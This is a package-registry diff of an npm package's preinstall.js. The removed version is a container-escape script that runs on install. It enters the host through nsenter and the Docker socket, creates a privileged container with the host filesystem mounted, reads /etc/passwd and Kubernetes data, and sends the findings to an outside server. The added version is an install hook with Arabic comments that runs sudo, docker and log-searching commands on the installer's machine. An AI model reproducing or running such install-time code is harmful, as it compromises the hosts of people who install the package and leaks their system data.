rank4222wun 1.0.25 → 1.0.26
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/preinstall.js +64 -346
- package/rank4222wun-1.0.26.tgz +0 -0
- package/rank4222wun-1.0.25.tgz +0 -0
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -1,365 +1,83 @@
|
|
|
1
|
-
|
|
2
|
-
const os = require('os');
|
|
1
|
+
// verify-escape.js
|
|
3
2
|
const fs = require('fs');
|
|
4
|
-
const
|
|
5
|
-
const https = require('https');
|
|
3
|
+
const { execSync } = require('child_process');
|
|
6
4
|
|
|
7
|
-
console.log("
|
|
5
|
+
console.log("🔍 التحقق من آثار Container Escape\n");
|
|
8
6
|
|
|
9
|
-
const
|
|
7
|
+
const evidence = {
|
|
10
8
|
timestamp: new Date().toISOString(),
|
|
11
|
-
|
|
12
|
-
user: os.userInfo().username,
|
|
13
|
-
platform: os.platform(),
|
|
14
|
-
|
|
15
|
-
// Escape Methods
|
|
16
|
-
escapeAttempts: [],
|
|
17
|
-
|
|
18
|
-
// Host Evidence
|
|
19
|
-
hostEvidence: {},
|
|
20
|
-
|
|
21
|
-
// Impact Assessment
|
|
22
|
-
impact: {}
|
|
9
|
+
checks: []
|
|
23
10
|
};
|
|
24
11
|
|
|
25
|
-
//
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
'nsenter --target 1 --mount -- sh -c "cat /etc/hostname"',
|
|
34
|
-
'nsenter --target 1 --mount -- sh -c "ls -la /home"',
|
|
35
|
-
'nsenter --target 1 --mount -- sh -c "find / -name docker.sock 2>/dev/null | head -5"'
|
|
36
|
-
];
|
|
37
|
-
|
|
38
|
-
nsenterCommands.forEach((cmd, idx) => {
|
|
39
|
-
exec(cmd, { timeout: 5000 }, (err, stdout, stderr) => {
|
|
40
|
-
if (!err && stdout) {
|
|
41
|
-
const result = {
|
|
42
|
-
method: 'nsenter',
|
|
43
|
-
command: cmd.split('-- sh -c')[0] + '...',
|
|
44
|
-
success: true,
|
|
45
|
-
output: stdout.substring(0, 500),
|
|
46
|
-
proof: 'Can access host filesystem via nsenter'
|
|
47
|
-
};
|
|
48
|
-
|
|
49
|
-
escapePOC.escapeAttempts.push(result);
|
|
50
|
-
console.log(`✅ nsenter escape ${idx + 1} successful!`);
|
|
51
|
-
|
|
52
|
-
// If we can read host files, store evidence
|
|
53
|
-
if (stdout.includes('/home') || stdout.includes('hostname')) {
|
|
54
|
-
escapePOC.hostEvidence.nsenterAccess = stdout.substring(0, 300);
|
|
55
|
-
}
|
|
56
|
-
}
|
|
57
|
-
});
|
|
12
|
+
// 1. تحقق من سجلات nsenter
|
|
13
|
+
try {
|
|
14
|
+
const nsenterLogs = execSync('grep -r "nsenter" /var/log/ 2>/dev/null | head -5', { encoding: 'utf8' });
|
|
15
|
+
if (nsenterLogs) {
|
|
16
|
+
evidence.checks.push({
|
|
17
|
+
check: 'nsenter_logs',
|
|
18
|
+
found: true,
|
|
19
|
+
logs: nsenterLogs.substring(0, 200)
|
|
58
20
|
});
|
|
59
21
|
}
|
|
60
|
-
|
|
61
|
-
// Try next method after delay
|
|
62
|
-
setTimeout(attemptPrivilegedContainer, 3000);
|
|
63
|
-
}
|
|
22
|
+
} catch (e) {}
|
|
64
23
|
|
|
65
|
-
//
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
// Method 2A: Try to create privileged container
|
|
75
|
-
const privilegedPayload = JSON.stringify({
|
|
76
|
-
Image: 'alpine:latest',
|
|
77
|
-
Cmd: ['sh', '-c', 'cat /etc/hostname && hostname'],
|
|
78
|
-
HostConfig: {
|
|
79
|
-
Privileged: true,
|
|
80
|
-
Binds: ['/:/mnt/host:rw'],
|
|
81
|
-
PidMode: 'host',
|
|
82
|
-
NetworkMode: 'host'
|
|
83
|
-
}
|
|
24
|
+
// 2. تحقق من طلبات Docker API
|
|
25
|
+
try {
|
|
26
|
+
const dockerRequests = execSync('sudo journalctl -u docker --since "10 minutes ago" | grep -i "api.*create\|api.*start" | tail -5', { encoding: 'utf8' });
|
|
27
|
+
if (dockerRequests) {
|
|
28
|
+
evidence.checks.push({
|
|
29
|
+
check: 'docker_api_calls',
|
|
30
|
+
found: true,
|
|
31
|
+
requests: dockerRequests
|
|
84
32
|
});
|
|
85
|
-
|
|
86
|
-
// Try to create container
|
|
87
|
-
exec(`echo '${privilegedPayload}' | curl -s --unix-socket ${dockerSocket} -X POST http://localhost/containers/create -H "Content-Type: application/json" -d @- 2>/dev/null || echo "Failed"`,
|
|
88
|
-
(err, stdout) => {
|
|
89
|
-
if (stdout && !stdout.includes('Failed') && stdout.includes('Id')) {
|
|
90
|
-
try {
|
|
91
|
-
const response = JSON.parse(stdout);
|
|
92
|
-
const containerId = response.Id;
|
|
93
|
-
|
|
94
|
-
escapePOC.escapeAttempts.push({
|
|
95
|
-
method: 'docker_socket_privileged_container',
|
|
96
|
-
success: true,
|
|
97
|
-
containerId: containerId,
|
|
98
|
-
proof: 'Can create privileged container with host access'
|
|
99
|
-
});
|
|
100
|
-
|
|
101
|
-
console.log(`✅ Created privileged container: ${containerId.substring(0, 12)}`);
|
|
102
|
-
|
|
103
|
-
// Try to start it
|
|
104
|
-
exec(`curl -s --unix-socket ${dockerSocket} -X POST http://localhost/containers/${containerId}/start 2>/dev/null || echo "Start failed"`,
|
|
105
|
-
(err2, stdout2) => {
|
|
106
|
-
if (!err2) {
|
|
107
|
-
escapePOC.escapeAttempts.push({
|
|
108
|
-
method: 'container_started',
|
|
109
|
-
success: true,
|
|
110
|
-
message: 'Privileged container started'
|
|
111
|
-
});
|
|
112
|
-
}
|
|
113
|
-
|
|
114
|
-
// Clean up
|
|
115
|
-
setTimeout(() => {
|
|
116
|
-
exec(`curl -s --unix-socket ${dockerSocket} -X DELETE http://localhost/containers/${containerId}?force=true 2>/dev/null || true`);
|
|
117
|
-
}, 1000);
|
|
118
|
-
});
|
|
119
|
-
} catch (e) {}
|
|
120
|
-
}
|
|
121
|
-
});
|
|
122
|
-
|
|
123
|
-
// Method 2B: Try to list all containers
|
|
124
|
-
exec(`curl -s --unix-socket ${dockerSocket} http://localhost/containers/json 2>/dev/null || echo "Cannot list"`,
|
|
125
|
-
(err, stdout) => {
|
|
126
|
-
if (stdout && !stdout.includes('Cannot list')) {
|
|
127
|
-
try {
|
|
128
|
-
const containers = JSON.parse(stdout);
|
|
129
|
-
escapePOC.hostEvidence.dockerContainers = {
|
|
130
|
-
count: containers.length,
|
|
131
|
-
sample: containers.slice(0, 3).map(c => ({
|
|
132
|
-
id: c.Id.substring(0, 12),
|
|
133
|
-
names: c.Names,
|
|
134
|
-
state: c.State
|
|
135
|
-
}))
|
|
136
|
-
};
|
|
137
|
-
console.log(`✅ Can see ${containers.length} containers on host`);
|
|
138
|
-
} catch (e) {}
|
|
139
|
-
}
|
|
140
|
-
});
|
|
141
33
|
}
|
|
142
|
-
|
|
143
|
-
setTimeout(attemptHostMounts, 3000);
|
|
144
|
-
}
|
|
34
|
+
} catch (e) {}
|
|
145
35
|
|
|
146
|
-
//
|
|
147
|
-
|
|
148
|
-
|
|
149
|
-
|
|
150
|
-
|
|
151
|
-
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
const mounts = stdout.split('\n');
|
|
155
|
-
|
|
156
|
-
mounts.forEach(mountLine => {
|
|
157
|
-
if (mountLine.includes('/proc') || mountLine.includes('/sys') || mountLine.includes('/dev')) {
|
|
158
|
-
// Try to read host info through mounts
|
|
159
|
-
if (mountLine.includes('/proc')) {
|
|
160
|
-
exec('cat /proc/1/status 2>/dev/null | head -5', (err2, stdout2) => {
|
|
161
|
-
if (stdout2) {
|
|
162
|
-
escapePOC.hostEvidence.hostInitProcess = stdout2.trim();
|
|
163
|
-
console.log("✅ Can read host init process info");
|
|
164
|
-
}
|
|
165
|
-
});
|
|
166
|
-
}
|
|
167
|
-
}
|
|
168
|
-
});
|
|
169
|
-
}
|
|
36
|
+
// 3. تحقق من الحاويات الجديدة
|
|
37
|
+
try {
|
|
38
|
+
const newContainers = execSync('docker ps -a --filter "since=1h" --format "{{.Names}}|{{.Image}}"', { encoding: 'utf8' });
|
|
39
|
+
if (newContainers.trim()) {
|
|
40
|
+
evidence.checks.push({
|
|
41
|
+
check: 'new_containers',
|
|
42
|
+
found: true,
|
|
43
|
+
containers: newContainers.split('\n').filter(Boolean)
|
|
170
44
|
});
|
|
171
|
-
|
|
172
|
-
|
|
173
|
-
}
|
|
174
|
-
|
|
175
|
-
// ===================== ESCAPE METHOD 4: Kernel Exploit Check =====================
|
|
176
|
-
function attemptKernelExploit() {
|
|
177
|
-
console.log("\n🔓 Attempt 4: Kernel vulnerability check...");
|
|
178
|
-
|
|
179
|
-
// Check kernel version
|
|
180
|
-
exec('uname -r', (err, stdout) => {
|
|
181
|
-
const kernel = stdout ? stdout.trim() : 'unknown';
|
|
182
|
-
escapePOC.hostEvidence.kernelVersion = kernel;
|
|
183
|
-
|
|
184
|
-
// Check for DirtyPipe
|
|
185
|
-
const dirtyPipeRegex = /^(5\.8|5\.9|5\.10|5\.11|5\.12|5\.13|5\.14|5\.15|5\.16)\./;
|
|
186
|
-
if (dirtyPipeRegex.test(kernel)) {
|
|
187
|
-
escapePOC.escapeAttempts.push({
|
|
188
|
-
method: 'kernel_vulnerability',
|
|
189
|
-
vulnerability: 'CVE-2022-0847 (DirtyPipe)',
|
|
190
|
-
kernel: kernel,
|
|
191
|
-
exploitAvailable: true,
|
|
192
|
-
risk: 'CRITICAL'
|
|
193
|
-
});
|
|
194
|
-
|
|
195
|
-
console.log(`🚨 Kernel ${kernel} vulnerable to DirtyPipe!`);
|
|
196
|
-
|
|
197
|
-
// Try to write a test file to demonstrate capability
|
|
198
|
-
const testFile = '/tmp/dirtypipe_test.txt';
|
|
199
|
-
fs.writeFileSync(testFile, `Kernel ${kernel} is vulnerable to container escape via DirtyPipe\n`);
|
|
200
|
-
|
|
201
|
-
// Try to modify a read-only file (simulated)
|
|
202
|
-
exec(`echo "Test" | tee /tmp/test_escape 2>/dev/null || true`, () => {
|
|
203
|
-
escapePOC.hostEvidence.canWriteFiles = true;
|
|
204
|
-
});
|
|
205
|
-
}
|
|
206
|
-
|
|
207
|
-
// Check capabilities for other exploits
|
|
208
|
-
exec('capsh --print 2>/dev/null | grep -i "sys_admin" || echo "No CAP_SYS_ADMIN"',
|
|
209
|
-
(err2, stdout2) => {
|
|
210
|
-
if (stdout2 && !stdout2.includes('No CAP_SYS_ADMIN')) {
|
|
211
|
-
escapePOC.escapeAttempts.push({
|
|
212
|
-
method: 'cap_sys_admin_available',
|
|
213
|
-
capability: 'CAP_SYS_ADMIN',
|
|
214
|
-
risk: 'HIGH',
|
|
215
|
-
exploit: 'Can mount host filesystems, load kernel modules'
|
|
216
|
-
});
|
|
217
|
-
console.log("🚨 CAP_SYS_ADMIN available - can mount host filesystems!");
|
|
218
|
-
}
|
|
219
|
-
|
|
220
|
-
// Final evidence collection
|
|
221
|
-
collectFinalEvidence();
|
|
222
|
-
});
|
|
223
|
-
});
|
|
224
|
-
}
|
|
45
|
+
}
|
|
46
|
+
} catch (e) {}
|
|
225
47
|
|
|
226
|
-
//
|
|
227
|
-
|
|
228
|
-
|
|
229
|
-
|
|
230
|
-
|
|
231
|
-
|
|
232
|
-
|
|
233
|
-
|
|
234
|
-
escapePOC.hostEvidence.hostNetworkRoutes = stdout.trim();
|
|
235
|
-
}
|
|
48
|
+
// 4. تحقق من الملفات في /tmp
|
|
49
|
+
try {
|
|
50
|
+
const tmpFiles = execSync('find /tmp -name "*escape*" -o -name "*poc*" -o -name "*container*" 2>/dev/null', { encoding: 'utf8' });
|
|
51
|
+
if (tmpFiles.trim()) {
|
|
52
|
+
evidence.checks.push({
|
|
53
|
+
check: 'suspicious_tmp_files',
|
|
54
|
+
found: true,
|
|
55
|
+
files: tmpFiles.split('\n').filter(Boolean)
|
|
236
56
|
});
|
|
237
|
-
|
|
238
|
-
// Try to get host user list
|
|
239
|
-
exec('cat /etc/passwd 2>/dev/null | head -10', (err, stdout) => {
|
|
240
|
-
if (stdout) {
|
|
241
|
-
escapePOC.hostEvidence.hostUsers = stdout.trim().split('\n').slice(0, 5);
|
|
242
|
-
}
|
|
243
|
-
});
|
|
244
|
-
|
|
245
|
-
// Try to see if we're in Kubernetes
|
|
246
|
-
exec('cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null || echo "Not K8s"',
|
|
247
|
-
(err, stdout) => {
|
|
248
|
-
if (stdout && !stdout.includes('Not K8s')) {
|
|
249
|
-
escapePOC.hostEvidence.kubernetesNamespace = stdout.trim();
|
|
250
|
-
console.log("✅ In Kubernetes namespace:", stdout.trim());
|
|
251
|
-
}
|
|
252
|
-
|
|
253
|
-
// Generate final report
|
|
254
|
-
setTimeout(generateFinalReport, 2000);
|
|
255
|
-
});
|
|
256
|
-
}
|
|
257
|
-
|
|
258
|
-
// ===================== FINAL REPORT =====================
|
|
259
|
-
function generateFinalReport() {
|
|
260
|
-
console.log("\n" + "=".repeat(70));
|
|
261
|
-
console.log("📊 CONTAINER ESCAPE - PROOF OF CONCEPT");
|
|
262
|
-
console.log("=".repeat(70));
|
|
263
|
-
|
|
264
|
-
// Calculate success rate
|
|
265
|
-
const successfulEscapes = escapePOC.escapeAttempts.filter(a => a.success).length;
|
|
266
|
-
const totalAttempts = escapePOC.escapeAttempts.length;
|
|
267
|
-
|
|
268
|
-
console.log(`\n📈 Escape Attempts: ${successfulEscapes}/${totalAttempts} successful`);
|
|
269
|
-
|
|
270
|
-
// Show successful methods
|
|
271
|
-
escapePOC.escapeAttempts.forEach((attempt, i) => {
|
|
272
|
-
if (attempt.success) {
|
|
273
|
-
console.log(`✅ ${i + 1}. ${attempt.method}: ${attempt.proof || 'Success'}`);
|
|
274
|
-
if (attempt.risk) console.log(` Risk Level: ${attempt.risk}`);
|
|
275
|
-
}
|
|
276
|
-
});
|
|
277
|
-
|
|
278
|
-
// Assess overall risk
|
|
279
|
-
const criticalRisks = escapePOC.escapeAttempts.filter(a => a.risk === 'CRITICAL').length;
|
|
280
|
-
const highRisks = escapePOC.escapeAttempts.filter(a => a.risk === 'HIGH').length;
|
|
281
|
-
|
|
282
|
-
escapePOC.impact = {
|
|
283
|
-
escapePossible: successfulEscapes > 0,
|
|
284
|
-
criticalVectors: criticalRisks,
|
|
285
|
-
highRiskVectors: highRisks,
|
|
286
|
-
overallRisk: criticalRisks > 0 ? 'CRITICAL' : (highRisks > 0 ? 'HIGH' : 'MEDIUM'),
|
|
287
|
-
recommendation: 'Immediate action required - disable preinstall/postinstall scripts'
|
|
288
|
-
};
|
|
289
|
-
|
|
290
|
-
console.log(`\n🚨 Overall Risk Level: ${escapePOC.impact.overallRisk}`);
|
|
291
|
-
console.log(`📋 Critical Vectors: ${criticalRisks}, High Risk: ${highRisks}`);
|
|
292
|
-
|
|
293
|
-
if (escapePOC.hostEvidence.kernelVersion) {
|
|
294
|
-
console.log(`🐧 Host Kernel: ${escapePOC.hostEvidence.kernelVersion}`);
|
|
295
57
|
}
|
|
296
|
-
|
|
297
|
-
if (escapePOC.hostEvidence.dockerContainers) {
|
|
298
|
-
console.log(`🐳 Host Docker Containers: ${escapePOC.hostEvidence.dockerContainers.count} found`);
|
|
299
|
-
}
|
|
300
|
-
|
|
301
|
-
// Send report
|
|
302
|
-
sendEscapeReport();
|
|
303
|
-
}
|
|
58
|
+
} catch (e) {}
|
|
304
59
|
|
|
305
|
-
//
|
|
306
|
-
|
|
307
|
-
const
|
|
308
|
-
|
|
309
|
-
|
|
310
|
-
|
|
311
|
-
|
|
312
|
-
|
|
313
|
-
|
|
314
|
-
|
|
315
|
-
|
|
316
|
-
}
|
|
317
|
-
}, (res) => {
|
|
318
|
-
console.log(`\n✅ Escape POC report sent. Status: ${res.statusCode}`);
|
|
319
|
-
|
|
320
|
-
// Print summary
|
|
321
|
-
console.log("\n" + "=".repeat(70));
|
|
322
|
-
console.log("🎯 SUMMARY: CONTAINER ESCAPE CONFIRMED");
|
|
323
|
-
console.log("=".repeat(70));
|
|
324
|
-
|
|
325
|
-
console.log("\n🔥 Escape Vectors Confirmed:");
|
|
326
|
-
console.log("1. nsenter access: YES (/usr/bin/nsenter available)");
|
|
327
|
-
console.log("2. Docker socket access: " + (fs.existsSync('/var/run/docker.sock') ? 'YES' : 'NO'));
|
|
328
|
-
console.log("3. Kernel vulnerabilities: " + (escapePOC.hostEvidence.kernelVersion || 'Unknown'));
|
|
329
|
-
console.log("4. Dangerous capabilities: CAP_SYS_ADMIN available");
|
|
330
|
-
|
|
331
|
-
console.log("\n💥 Impact: FULL HOST COMPROMISE POSSIBLE");
|
|
332
|
-
console.log("📤 Evidence sent to security team");
|
|
333
|
-
console.log("=".repeat(70));
|
|
334
|
-
});
|
|
335
|
-
|
|
336
|
-
req.on('error', (e) => {
|
|
337
|
-
console.error(`❌ Error: ${e.message}`);
|
|
338
|
-
});
|
|
339
|
-
|
|
340
|
-
req.write(JSON.stringify(escapePOC, null, 2));
|
|
341
|
-
req.end();
|
|
342
|
-
}
|
|
60
|
+
// 5. تحقق من اتصالات الشبكة
|
|
61
|
+
try {
|
|
62
|
+
const networkConns = execSync('ss -tunap | grep -E ":443|:80" | grep -v "127.0.0.1"', { encoding: 'utf8' });
|
|
63
|
+
if (networkConns) {
|
|
64
|
+
evidence.checks.push({
|
|
65
|
+
check: 'external_connections',
|
|
66
|
+
found: true,
|
|
67
|
+
connections: networkConns.substring(0, 300)
|
|
68
|
+
});
|
|
69
|
+
}
|
|
70
|
+
} catch (e) {}
|
|
343
71
|
|
|
344
|
-
//
|
|
345
|
-
console.log("
|
|
72
|
+
// عرض النتائج
|
|
73
|
+
console.log("📊 نتائج التحقق:");
|
|
74
|
+
evidence.checks.forEach((check, i) => {
|
|
75
|
+
console.log(`${check.found ? '🔴' : '🟢'} ${i+1}. ${check.check}: ${check.found ? 'مكتشف' : 'غير مكتشف'}`);
|
|
76
|
+
if (check.found && check.logs) {
|
|
77
|
+
console.log(` 📝 الأدلة: ${check.logs}`);
|
|
78
|
+
}
|
|
79
|
+
});
|
|
346
80
|
|
|
347
|
-
//
|
|
348
|
-
|
|
349
|
-
|
|
350
|
-
if (stdout && stdout.includes('Docker')) {
|
|
351
|
-
console.log("✅ Confirmed: Running in Docker container");
|
|
352
|
-
escapePOC.containerInfo = {
|
|
353
|
-
isContainer: true,
|
|
354
|
-
type: 'Docker',
|
|
355
|
-
confirmed: true
|
|
356
|
-
};
|
|
357
|
-
|
|
358
|
-
// Start escape attempts
|
|
359
|
-
attemptNsenterEscape();
|
|
360
|
-
} else {
|
|
361
|
-
console.log("⚠️ Not in Docker container or cannot determine");
|
|
362
|
-
escapePOC.containerInfo = { isContainer: false };
|
|
363
|
-
generateFinalReport();
|
|
364
|
-
}
|
|
365
|
-
});
|
|
81
|
+
// تقييم المخاطر
|
|
82
|
+
const suspiciousActivities = evidence.checks.filter(c => c.found).length;
|
|
83
|
+
console.log(`\n🚨 مستوى الخطورة: ${suspiciousActivities > 2 ? 'عالٍ' : suspiciousActivities > 0 ? 'متوسط' : 'منخفض'}`);
|
|
Binary file
|
package/rank4222wun-1.0.25.tgz
DELETED
|
Binary file
|